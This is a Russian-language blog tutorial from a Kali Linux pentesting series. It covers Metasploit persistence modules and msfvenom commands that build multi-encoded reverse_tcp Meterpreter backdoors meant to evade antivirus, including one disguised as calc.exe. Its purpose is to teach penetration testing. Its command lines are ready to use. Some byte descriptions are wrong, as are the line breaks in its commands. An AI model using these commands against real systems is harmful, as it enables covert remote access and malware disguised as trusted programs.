#109 Kali Linux для продвинутого тестирования на проникновение. Поддержание устойчивости с помощью платформы Metasploit.
Здравствуйте, дорогие друзья.
Meterpreter Metasploit содержит несколько скриптов, которые поддерживают сохранение данных в скомпрометированной системе. Мы рассмотрим модуль пост-эксплойта для установки бэкдора.
Использование модуля сохранения пост-эксплойта
После того, как система была взломана и команда миграции переместила исходную оболочку в более безопасную службу, злоумышленник может вызвать сценарий windows/manage/persistence_exe из командной строки Meterpreter.
В примере, показанном на рисунке ниже, мы могли бы выбрать использование параметров REXENAME и REXEPATH, которые будут запускать сохранение, когда пользователь входит в целевую систему. Успешное внедрение бэкдора запустится автоматически, когда система загрузится для выполнения установленного нами файла с определенным IP-адресом и портом.
Обратите внимание, что мы произвольно выбрали порт для использования по принципу сохранения; злоумышленник должен проверить настройки локального брандмауэра, чтобы убедиться, что этот порт открыт, или использовать команду reg, чтобы открыть порт. Как и в большинстве модулей Metasploit, можно выбрать любой порт, если он еще не используется.
Сценарий persistence_exe модуля пост-эксплойта помещает исполняемый файл во временный каталог. Сценарий также добавляет этот файл в локальные разделы автозапуска реестра. Поскольку модуль пост-эксплойта persistence_exe не аутентифицируется, и любой может использовать его для доступа к скомпрометированной системе. Его следует удалить из системы как можно скорее, после обнаружения или завершения тестирования на проникновение. Чтобы удалить сценарий, подтвердите расположение файла ресурсов для очистки, а затем выполните следующую команду ресурса:
1 2 |
meterpreter > run multi_console_command -rc /root/.msf4/logs/ persistence/.rc |
Создание автономного постоянного агента с помощью Metasploit
Платформу Metasploit можно использовать для создания автономного исполняемого файла, который может сохраняться в скомпрометированной системе и обеспечивать интерактивное взаимодействие. Преимущество автономного пакета в том, что его можно заранее подготовить и протестировать для обеспечения возможности подключения, а также закодировать для обхода локального антивирусного ПО:
- Чтобы создать простой автономный агент, используйте msfvenom. В примере, показанном на рисунке ниже, агент настроен на использование оболочки reverse_tcp, которая будет подключаться к локальному хосту по IP-адресу злоумышленника, через порт 443:
1 2 3 |
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_ tcp lhost= lport=443 -e x86/shikata_ga_nai -i 5 -f exe -o attack1.exe |
Агент с именем Attack.exe будет использовать исполняемый шаблон Win32:
При этом агент Attack1.exe кодируется пять раз, с помощью кодировщика x86/shikata_ga_nai. Каждый раз, когда он перекодируется, его становится все труднее обнаружить. Однако исполняемый файл также увеличивается в размере.
Мы можем настроить шаблон кодировки в msfvenom, используя -b x64/other, чтобы избежать определенных символов. Например, при кодировании постоянного агента следует избегать следующих символов, поскольку они могут привести к обнаружению и провалу атаки:
- \x00: представляет 0-байтовый адрес.
- \xa0: представляет перевод строки.
- \xad: представляет собой возврат каретки.
- Чтобы создать мультикодированную полезную нагрузку, используйте следующую команду:
1 2 3 4 5 |
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_ tcp lhost= lport=443 -e x86/shikata_ga_nai -i 8 raw | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/bloxor -i 9 -f exe -o multiencoded.exe |
- Вы также можете закодировать msfvenom в существующий исполняемый файл, и как модифицированный исполняемый файл, так и постоянный агент будут работать. Чтобы привязать постоянный агент к исполняемому файлу, например калькулятору (calc.exe), сначала скопируйте соответствующий файл Calc.exe в Kali Linux. Вы можете загрузить его из существующего сеанса с помощью Meterpreter, запустив Meterpreter.
download c:\windows\system32\calc.exe.
- Когда файл загрузится, выполните следующую команду:
1 2 3 4 |
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_ tcp lhost= lport=443 -x /root/calc.exe -k -e x86/shikata_ ga_nai -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/ bloxor -i 9 -f exe -o calc.exe |
- Агент можно разместить в целевой системе, переименовать в Calc.exe (чтобы заменить исходный калькулятор, если доступ запрещен, поместите файл на рабочий стол), а затем запустить.
К сожалению, почти все исполняемые файлы, закодированные в Metasploit, могут быть обнаружены клиентским антивирусом или программным обеспечением EDR. Это приписывают тестерам на проникновение, которые отправляли зашифрованные полезные данные на такие сайты, как VirusTotal (www.virustotal.com). Однако Вы можете создать исполняемый файл, а затем зашифровать его с помощью Veil-Evasion, как описано в разделе «Эксплуатация».
На этом все. Всем хорошего дня!
Полный цикл статей по Kali Linux для продвинутого тестирования на проникновение.